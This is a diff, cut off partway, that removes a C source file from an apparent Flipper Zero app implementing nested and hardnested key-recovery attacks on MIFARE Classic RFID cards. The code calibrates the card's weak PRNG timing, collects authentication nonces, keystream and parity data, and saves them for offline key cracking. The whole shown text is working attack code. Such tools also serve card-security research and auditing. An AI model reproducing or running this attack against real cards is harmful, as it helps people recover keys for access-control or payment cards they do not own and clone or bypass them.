|
|
@@ -1,1713 +0,0 @@
|
|
|
-#include "mifare_nested_worker_i.h"
|
|
|
-
|
|
|
-#include "lib/nested/nested.h"
|
|
|
-#include "lib/parity/parity.h"
|
|
|
-#include <lib/nfc/protocols/nfc_util.h>
|
|
|
-
|
|
|
-#include <storage/storage.h>
|
|
|
-#include <stream/stream.h>
|
|
|
-#include <stream/file_stream.h>
|
|
|
-#include "string.h"
|
|
|
-#include <furi.h>
|
|
|
-#include <furi_hal.h>
|
|
|
-
|
|
|
-#define TAG "MifareNestedWorker"
|
|
|
-
|
|
|
-// possible sum property values
|
|
|
-static uint16_t sums[] =
|
|
|
- {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
|
|
|
-
|
|
|
-void mifare_nested_worker_change_state(
|
|
|
- MifareNestedWorker* mifare_nested_worker,
|
|
|
- MifareNestedWorkerState state) {
|
|
|
- furi_assert(mifare_nested_worker);
|
|
|
-
|
|
|
- mifare_nested_worker->state = state;
|
|
|
-}
|
|
|
-
|
|
|
-MifareNestedWorker* mifare_nested_worker_alloc() {
|
|
|
- MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
|
|
|
-
|
|
|
- // Worker thread attributes
|
|
|
- mifare_nested_worker->thread = furi_thread_alloc_ex(
|
|
|
- "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
|
|
|
-
|
|
|
- mifare_nested_worker->callback = NULL;
|
|
|
- mifare_nested_worker->context = NULL;
|
|
|
-
|
|
|
- mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
|
|
|
-
|
|
|
- return mifare_nested_worker;
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- furi_assert(mifare_nested_worker);
|
|
|
-
|
|
|
- furi_thread_free(mifare_nested_worker->thread);
|
|
|
- free(mifare_nested_worker);
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- furi_assert(mifare_nested_worker);
|
|
|
-
|
|
|
- mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
|
|
|
- furi_thread_join(mifare_nested_worker->thread);
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_start(
|
|
|
- MifareNestedWorker* mifare_nested_worker,
|
|
|
- MifareNestedWorkerState state,
|
|
|
- NfcDeviceData* dev_data,
|
|
|
- MifareNestedWorkerCallback callback,
|
|
|
- void* context) {
|
|
|
- furi_assert(mifare_nested_worker);
|
|
|
- furi_assert(dev_data);
|
|
|
-
|
|
|
- mifare_nested_worker->callback = callback;
|
|
|
- mifare_nested_worker->context = context;
|
|
|
- mifare_nested_worker->dev_data = dev_data;
|
|
|
- mifare_nested_worker_change_state(mifare_nested_worker, state);
|
|
|
- furi_thread_start(mifare_nested_worker->thread);
|
|
|
-}
|
|
|
-
|
|
|
-int32_t mifare_nested_worker_task(void* context) {
|
|
|
- MifareNestedWorker* mifare_nested_worker = context;
|
|
|
-
|
|
|
- if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
|
|
|
- mifare_nested_worker_check(mifare_nested_worker);
|
|
|
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
|
|
|
- mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
|
|
|
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
|
|
|
- mifare_nested_worker_collect_nonces(mifare_nested_worker);
|
|
|
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
|
|
|
- mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
|
|
|
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
|
|
|
- mifare_nested_worker_check_keys(mifare_nested_worker);
|
|
|
- }
|
|
|
-
|
|
|
- mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
|
|
|
-
|
|
|
- return 0;
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
|
|
|
- uint8_t* uid = data->uid;
|
|
|
- uint8_t uid_len = data->uid_len;
|
|
|
-
|
|
|
- for(size_t i = 0; i < uid_len; i++) {
|
|
|
- uint8_t uid_part = uid[i];
|
|
|
- furi_string_cat_printf(string, "%02X", uid_part);
|
|
|
- }
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
|
|
|
- furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
|
|
|
-
|
|
|
- mifare_nested_worker_write_uid_string(data, file_path);
|
|
|
-
|
|
|
- furi_string_cat_printf(file_path, ".keys");
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
|
|
|
- furi_string_set(file_path, NESTED_FOLDER "/");
|
|
|
-
|
|
|
- mifare_nested_worker_write_uid_string(data, file_path);
|
|
|
-
|
|
|
- furi_string_cat_printf(file_path, ".nonces");
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
|
|
|
- furi_string_set(file_path, NESTED_FOLDER "/");
|
|
|
-
|
|
|
- mifare_nested_worker_write_uid_string(data, file_path);
|
|
|
-
|
|
|
- furi_string_cat_printf(file_path, ".keys");
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_get_hardnested_folder_path(
|
|
|
- FuriHalNfcDevData* data,
|
|
|
- FuriString* file_path) {
|
|
|
- furi_string_set(file_path, NESTED_FOLDER "/");
|
|
|
-
|
|
|
- mifare_nested_worker_write_uid_string(data, file_path);
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_get_hardnested_file_path(
|
|
|
- FuriHalNfcDevData* data,
|
|
|
- FuriString* file_path,
|
|
|
- uint8_t sector,
|
|
|
- uint8_t key_type) {
|
|
|
- mifare_nested_worker_get_hardnested_folder_path(data, file_path);
|
|
|
-
|
|
|
- furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
|
|
|
-}
|
|
|
-
|
|
|
-uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
|
|
|
- furi_assert(sector < 40);
|
|
|
- if(sector < 32) {
|
|
|
- return (sector * 4) + 3;
|
|
|
- } else {
|
|
|
- return 32 * 4 + (sector - 32) * 16 + 15;
|
|
|
- }
|
|
|
-}
|
|
|
-
|
|
|
-static MfClassicSectorTrailer*
|
|
|
- mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
|
|
|
- return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
|
|
|
- .value;
|
|
|
-}
|
|
|
-
|
|
|
-bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
|
|
|
- Storage* storage = furi_record_open(RECORD_STORAGE);
|
|
|
- FuriString* temp_str = furi_string_alloc();
|
|
|
- mifare_nested_worker_get_key_cache_file_path(data, temp_str);
|
|
|
- FlipperFormat* file = flipper_format_file_alloc(storage);
|
|
|
- bool load_success = false;
|
|
|
- uint32_t sector_count = 0;
|
|
|
-
|
|
|
- do {
|
|
|
- if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
|
|
|
-
|
|
|
- if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
|
|
|
-
|
|
|
- uint32_t version = 0;
|
|
|
-
|
|
|
- if(!flipper_format_read_header(file, temp_str, &version)) break;
|
|
|
- if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
|
|
|
-
|
|
|
- if(version != 1) break;
|
|
|
-
|
|
|
- if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
|
|
|
-
|
|
|
- if(!furi_string_cmp(temp_str, "1K")) {
|
|
|
- mf_data->type = MfClassicType1k;
|
|
|
- sector_count = 16;
|
|
|
- } else if(!furi_string_cmp(temp_str, "4K")) {
|
|
|
- mf_data->type = MfClassicType4k;
|
|
|
- sector_count = 40;
|
|
|
- } else if(!furi_string_cmp(temp_str, "MINI")) {
|
|
|
- mf_data->type = MfClassicTypeMini;
|
|
|
- sector_count = 5;
|
|
|
- } else {
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
|
|
|
- if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
|
|
|
-
|
|
|
- bool key_read_success = true;
|
|
|
-
|
|
|
- for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
|
|
|
- MfClassicSectorTrailer* sec_tr =
|
|
|
- mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
|
|
|
-
|
|
|
- if(FURI_BIT(mf_data->key_a_mask, i)) {
|
|
|
- furi_string_printf(temp_str, "Key A sector %d", i);
|
|
|
- key_read_success = flipper_format_read_hex(
|
|
|
- file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
|
|
|
- }
|
|
|
-
|
|
|
- if(!key_read_success) break;
|
|
|
-
|
|
|
- if(FURI_BIT(mf_data->key_b_mask, i)) {
|
|
|
- furi_string_printf(temp_str, "Key B sector %d", i);
|
|
|
- key_read_success = flipper_format_read_hex(
|
|
|
- file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- load_success = key_read_success;
|
|
|
- } while(false);
|
|
|
-
|
|
|
- furi_string_free(temp_str);
|
|
|
- flipper_format_free(file);
|
|
|
-
|
|
|
- return load_success;
|
|
|
-}
|
|
|
-
|
|
|
-bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
|
|
|
- if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
|
|
- if(c <= '9') {
|
|
|
- *nibble = c - '0';
|
|
|
- } else if(c <= 'F') {
|
|
|
- *nibble = c - 'A' + 10;
|
|
|
- } else {
|
|
|
- *nibble = c - 'a' + 10;
|
|
|
- }
|
|
|
- return true;
|
|
|
- } else {
|
|
|
- return false;
|
|
|
- }
|
|
|
-}
|
|
|
-
|
|
|
-bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
|
|
|
- uint8_t hi_nibble_value, low_nibble_value;
|
|
|
-
|
|
|
- if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
|
|
|
- hex_char_to_hex_nibble(low, &low_nibble_value)) {
|
|
|
- *value = (hi_nibble_value << 4) | low_nibble_value;
|
|
|
- return true;
|
|
|
- } else {
|
|
|
- return false;
|
|
|
- }
|
|
|
-}
|
|
|
-
|
|
|
-void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
|
|
|
- for(uint8_t sector = 0; sector < sector_count; sector++) {
|
|
|
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
|
|
|
- for(uint8_t tries = 0; tries < tries_count; tries++) {
|
|
|
- free(nonces->nonces[sector][key_type][tries]);
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-}
|
|
|
-
|
|
|
-MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
|
|
|
- UNUSED(ATQA1);
|
|
|
- if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
|
|
|
- if((SAK == 0x08 || SAK == 0x88)) {
|
|
|
- return MfClassicType1k;
|
|
|
- } else if(SAK == 0x09) {
|
|
|
- return MfClassicTypeMini;
|
|
|
- }
|
|
|
- } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
|
|
|
- //skylanders support
|
|
|
- return MfClassicType1k;
|
|
|
- } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
|
|
|
- return MfClassicType4k;
|
|
|
- }
|
|
|
- return MfClassicType1k;
|
|
|
-}
|
|
|
-
|
|
|
-uint32_t mifare_nested_worker_predict_delay(
|
|
|
- FuriHalNfcTxRxContext* tx_rx,
|
|
|
- uint8_t blockNo,
|
|
|
- uint8_t keyType,
|
|
|
- uint64_t ui64Key,
|
|
|
- uint32_t tries,
|
|
|
- MifareNestedWorker* mifare_nested_worker) {
|
|
|
- uint32_t cuid = 0;
|
|
|
- Crypto1* crypto = malloc(sizeof(Crypto1));
|
|
|
- uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
|
|
|
-
|
|
|
- if(tries > 25) {
|
|
|
- free(crypto);
|
|
|
- return 2; // Too many tries, fallback to hardnested
|
|
|
- }
|
|
|
-
|
|
|
- // This part of attack is my attempt to implement it on Flipper.
|
|
|
- // Check README.md for more info
|
|
|
-
|
|
|
- // First, we find RPNG rounds per 1000 us
|
|
|
- for(uint32_t rtr = 0; rtr < 25; rtr++) {
|
|
|
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
|
|
|
- free(crypto);
|
|
|
- return 1;
|
|
|
- }
|
|
|
-
|
|
|
- nfc_activate();
|
|
|
- if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
|
|
|
-
|
|
|
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
|
|
|
-
|
|
|
- furi_delay_us(rtr * 1000);
|
|
|
-
|
|
|
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
|
|
|
-
|
|
|
- // Searching for delay, where PRNG will be near 800
|
|
|
- uint32_t nttmp = prng_successor(nt1, 100);
|
|
|
-
|
|
|
- for(i = 101; i < 65565; i++) {
|
|
|
- nttmp = prng_successor(nttmp, 1);
|
|
|
- if(nttmp == nt2) break;
|
|
|
- }
|
|
|
-
|
|
|
- if(!rtr) {
|
|
|
- zero_prng_value = i;
|
|
|
- }
|
|
|
-
|
|
|
- if(previous && i > previous && i != 65565) {
|
|
|
- if(!prng_delay) {
|
|
|
- prng_delay = i - previous;
|
|
|
- } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
|
|
|
- prng_delay += i - previous;
|
|
|
- prng_delay /= 2;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- previous = i;
|
|
|
-
|
|
|
- FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
|
|
|
-
|
|
|
- // Let's hope...
|
|
|
- if(i > 810 && i < 840) {
|
|
|
- free(crypto);
|
|
|
- return rtr * 1000;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
|
|
|
-
|
|
|
- // Next, we try to calculate time until PRNG near 800 with more perfect timing
|
|
|
- // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
|
|
|
-
|
|
|
- if(zero_prng_value == 65565) {
|
|
|
- free(crypto);
|
|
|
- // PRNG isn't pretictable
|
|
|
- return 1;
|
|
|
- }
|
|
|
-
|
|
|
- uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
|
|
|
-
|
|
|
- uint32_t limit = 7;
|
|
|
-
|
|
|
- for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
|
|
|
- for(uint32_t rtz = 0; rtz < 100; rtz++) {
|
|
|
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
|
|
|
- free(crypto);
|
|
|
- return 1;
|
|
|
- }
|
|
|
-
|
|
|
- nfc_activate();
|
|
|
- if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
|
|
|
-
|
|
|
- uint32_t delay = rtr * 1000 + rtz * 10;
|
|
|
-
|
|
|
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
|
|
|
-
|
|
|
- furi_delay_us(delay);
|
|
|
-
|
|
|
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
|
|
|
-
|
|
|
- // Searching for delay, where PRNG will be near 800
|
|
|
- uint32_t nttmp = prng_successor(nt1, 0);
|
|
|
-
|
|
|
- for(i = 1; i < 65565; i++) {
|
|
|
- nttmp = prng_successor(nttmp, 1);
|
|
|
- if(nttmp == nt2) break;
|
|
|
- }
|
|
|
-
|
|
|
- if(!(i > previous - 50 && i < previous + 50) && rtz) {
|
|
|
- repeat++;
|
|
|
-
|
|
|
- if(repeat < 5) {
|
|
|
- FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(i > 2000 && i < 65500) {
|
|
|
- uint32_t catch_cycles = (65565 - i) / prng_delay;
|
|
|
- if(catch_cycles > 2) {
|
|
|
- catch_cycles++;
|
|
|
-
|
|
|
- FURI_LOG_D(
|
|
|
- TAG,
|
|
|
- "Trying a more accurate value: skipping additional %lu us",
|
|
|
- catch_cycles * 1000);
|
|
|
- limit += catch_cycles + 2;
|
|
|
- rtr += catch_cycles;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- FURI_LOG_D(
|
|
|
- TAG,
|
|
|
- "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
|
|
|
- i,
|
|
|
- delay,
|
|
|
- (cycles_to_reset + limit) * 1000);
|
|
|
-
|
|
|
- repeat = 0;
|
|
|
- previous = i;
|
|
|
-
|
|
|
- if(i > 810 && i < 840) {
|
|
|
- free(crypto);
|
|
|
- FURI_LOG_I(TAG, "Found delay: %lu us", delay);
|
|
|
- return delay;
|
|
|
- } else if(i > 840 && i < 40000) {
|
|
|
- FURI_LOG_D(TAG, "Trying again: timing lost");
|
|
|
- tries++;
|
|
|
- free(crypto);
|
|
|
- return mifare_nested_worker_predict_delay(
|
|
|
- tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(i > 1000 && i < 65000) {
|
|
|
- FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
|
|
|
- tries++;
|
|
|
- free(crypto);
|
|
|
- return mifare_nested_worker_predict_delay(
|
|
|
- tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
|
|
|
- }
|
|
|
-
|
|
|
- free(crypto);
|
|
|
-
|
|
|
- return 1;
|
|
|
-}
|
|
|
-
|
|
|
-SaveNoncesResult_t* mifare_nested_worker_write_nonces(
|
|
|
- FuriHalNfcDevData* data,
|
|
|
- Storage* storage,
|
|
|
- NonceList_t* nonces,
|
|
|
- uint8_t tries_count,
|
|
|
- uint8_t free_tries_count,
|
|
|
- uint8_t sector_count,
|
|
|
- uint32_t delay,
|
|
|
- uint32_t distance) {
|
|
|
- FuriString* path = furi_string_alloc();
|
|
|
- Stream* file_stream = file_stream_alloc(storage);
|
|
|
- SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
|
|
|
- result->saved = 0;
|
|
|
- result->invalid = 0;
|
|
|
- result->skipped = 0;
|
|
|
-
|
|
|
- mifare_nested_worker_get_nonces_file_path(data, path);
|
|
|
-
|
|
|
- file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
|
|
|
-
|
|
|
- FuriString* header = furi_string_alloc_printf(
|
|
|
- "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
|
|
|
- NESTED_NONCE_FORMAT_VERSION,
|
|
|
- NESTED_RECOVER_KEYS_GITHUB_LINK);
|
|
|
- stream_write_string(file_stream, header);
|
|
|
-
|
|
|
- for(uint8_t tries = 0; tries < tries_count; tries++) {
|
|
|
- for(uint8_t sector = 0; sector < sector_count; sector++) {
|
|
|
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
|
|
|
- if(nonces->nonces[sector][key_type][tries]->invalid) {
|
|
|
- if(tries == 0) {
|
|
|
- result->invalid++;
|
|
|
- }
|
|
|
- } else if(nonces->nonces[sector][key_type][tries]->skipped) {
|
|
|
- if(tries == 0) {
|
|
|
- result->skipped++;
|
|
|
- }
|
|
|
- } else if(nonces->nonces[sector][key_type][tries]->collected) {
|
|
|
- if(nonces->nonces[sector][key_type][tries]->hardnested) {
|
|
|
- FuriString* hardnested_path = furi_string_alloc();
|
|
|
- mifare_nested_worker_get_hardnested_file_path(
|
|
|
- data, hardnested_path, sector, key_type);
|
|
|
-
|
|
|
- FuriString* str = furi_string_alloc_printf(
|
|
|
- "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
|
|
|
- !key_type ? 'A' : 'B',
|
|
|
- nonces->cuid,
|
|
|
- furi_string_get_cstr(hardnested_path),
|
|
|
- sector);
|
|
|
-
|
|
|
- stream_write_string(file_stream, str);
|
|
|
-
|
|
|
- furi_string_free(hardnested_path);
|
|
|
- furi_string_free(str);
|
|
|
- } else {
|
|
|
- FuriString* str = furi_string_alloc_printf(
|
|
|
- "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
|
|
|
-
|
|
|
- for(uint8_t type = 0; type < 2; type++) {
|
|
|
- furi_string_cat_printf(
|
|
|
- str,
|
|
|
- " nt%u 0x%08lx ks%u 0x%08lx par%u ",
|
|
|
- type,
|
|
|
- nonces->nonces[sector][key_type][tries]->target_nt[type],
|
|
|
- type,
|
|
|
- nonces->nonces[sector][key_type][tries]->target_ks[type],
|
|
|
- type);
|
|
|
-
|
|
|
- uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
|
|
|
- for(uint8_t i = 0; i < 4; i++) {
|
|
|
- furi_string_cat_printf(str, "%u", par[i]);
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_cat_printf(str, " sec %u\n", sector);
|
|
|
-
|
|
|
- stream_write_string(file_stream, str);
|
|
|
- furi_string_free(str);
|
|
|
- }
|
|
|
-
|
|
|
- result->saved++;
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(delay) {
|
|
|
- FuriString* str =
|
|
|
- furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
|
|
|
-
|
|
|
- stream_write_string(file_stream, str);
|
|
|
- furi_string_free(str);
|
|
|
- }
|
|
|
-
|
|
|
- free_nonces(nonces, sector_count, free_tries_count);
|
|
|
- file_stream_close(file_stream);
|
|
|
- free(file_stream);
|
|
|
-
|
|
|
- if(!result->saved) {
|
|
|
- FURI_LOG_E(TAG, "No nonces collected, removing file...");
|
|
|
- if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
|
|
|
- FURI_LOG_E(TAG, "Failed to remove .nonces file");
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_free(path);
|
|
|
- furi_record_close(RECORD_STORAGE);
|
|
|
-
|
|
|
- return result;
|
|
|
-}
|
|
|
-
|
|
|
-bool mifare_nested_worker_check_initial_keys(
|
|
|
- NonceList_t* nonces,
|
|
|
- MfClassicData* mf_data,
|
|
|
- uint8_t tries_count,
|
|
|
- uint8_t sector_count,
|
|
|
- uint64_t* key,
|
|
|
- uint32_t* key_block,
|
|
|
- uint32_t* found_key_type) {
|
|
|
- bool has_a_key, has_b_key;
|
|
|
- FuriHalNfcTxRxContext tx_rx = {};
|
|
|
-
|
|
|
- for(uint8_t sector = 0; sector < sector_count; sector++) {
|
|
|
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
|
|
|
- for(uint8_t tries = 0; tries < tries_count; tries++) {
|
|
|
- Nonces* info = malloc(sizeof(Nonces));
|
|
|
- info->key_type = key_type;
|
|
|
- info->block = mifare_nested_worker_get_block_by_sector(sector);
|
|
|
- info->collected = false;
|
|
|
- info->skipped = true;
|
|
|
- info->from_start = false;
|
|
|
-
|
|
|
- nonces->nonces[sector][key_type][tries] = info;
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- for(uint8_t sector = 0; sector < sector_count; sector++) {
|
|
|
- MfClassicSectorTrailer* trailer =
|
|
|
- mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
|
|
|
- has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
|
|
|
- has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
|
|
|
-
|
|
|
- if(has_a_key) {
|
|
|
- for(uint8_t tries = 0; tries < tries_count; tries++) {
|
|
|
- Nonces* info = nonces->nonces[sector][0][tries];
|
|
|
- info->collected = true;
|
|
|
- info->skipped = true;
|
|
|
- info->from_start = true;
|
|
|
-
|
|
|
- nonces->nonces[sector][0][tries] = info;
|
|
|
- }
|
|
|
-
|
|
|
- if(*key_block == 0) {
|
|
|
- uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
|
|
|
- if(nested_check_key(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
|
|
|
- NestedCheckKeyValid) {
|
|
|
- *key = key_check;
|
|
|
- *key_block = mifare_nested_worker_get_block_by_sector(sector);
|
|
|
- *found_key_type = 0;
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(has_b_key) {
|
|
|
- for(uint8_t tries = 0; tries < tries_count; tries++) {
|
|
|
- Nonces* info = nonces->nonces[sector][1][tries];
|
|
|
- info->collected = true;
|
|
|
- info->skipped = true;
|
|
|
- info->from_start = true;
|
|
|
-
|
|
|
- nonces->nonces[sector][1][tries] = info;
|
|
|
- }
|
|
|
-
|
|
|
- if(*key_block == 0) {
|
|
|
- uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
|
|
|
- if(nested_check_key(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
|
|
|
- NestedCheckKeyValid) {
|
|
|
- *key = key_check;
|
|
|
- *key_block = mifare_nested_worker_get_block_by_sector(sector);
|
|
|
- *found_key_type = 1;
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- nonces->cuid = 0;
|
|
|
- nonces->hardnested_states = 0;
|
|
|
- nonces->sector_count = sector_count;
|
|
|
- nonces->tries = tries_count;
|
|
|
-
|
|
|
- return *key_block;
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
|
|
|
- FuriHalNfcTxRxContext tx_rx = {};
|
|
|
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
|
|
|
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
|
|
|
- FuriHalNfcDevData data = {};
|
|
|
- MifareNestedNonceType type = MifareNestedNonceNoTag;
|
|
|
- nested_get_data(&data);
|
|
|
-
|
|
|
- if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
|
|
|
- for(uint8_t sector = 0; sector < 40; sector++) {
|
|
|
- if(FURI_BIT(mf_data->key_a_mask, sector) ||
|
|
|
- FURI_BIT(mf_data->key_b_mask, sector)) {
|
|
|
- type = nested_check_nonce_type(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
|
|
|
- break;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(type == MifareNestedNonceNoTag) {
|
|
|
- type = nested_check_nonce_type(&tx_rx, 0);
|
|
|
- }
|
|
|
- } else {
|
|
|
- type = nested_check_nonce_type(&tx_rx, 0);
|
|
|
- }
|
|
|
-
|
|
|
- if(type == MifareNestedNonceStatic) {
|
|
|
- mifare_nested_worker->context->collecting_type =
|
|
|
- MifareNestedWorkerStateCollectingStatic;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
|
|
|
-
|
|
|
- break;
|
|
|
- } else if(type == MifareNestedNonceWeak) {
|
|
|
- mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
|
|
|
-
|
|
|
- break;
|
|
|
- } else if(type == MifareNestedNonceHard) {
|
|
|
- mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
|
|
|
-
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- furi_delay_ms(250);
|
|
|
- }
|
|
|
-
|
|
|
- nfc_deactivate();
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- NonceList_t nonces;
|
|
|
- Storage* storage = furi_record_open(RECORD_STORAGE);
|
|
|
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
|
|
|
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
|
|
|
- FuriString* folder_path = furi_string_alloc();
|
|
|
- FuriHalNfcDevData data = {};
|
|
|
- nested_get_data(&data);
|
|
|
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
|
|
|
- uint64_t key = 0; // Found key for attack
|
|
|
- uint32_t found_key_type = 0;
|
|
|
- uint32_t key_block = 0;
|
|
|
- uint32_t sector_count = 0;
|
|
|
-
|
|
|
- FURI_LOG_I(TAG, "Running Static Nested attack");
|
|
|
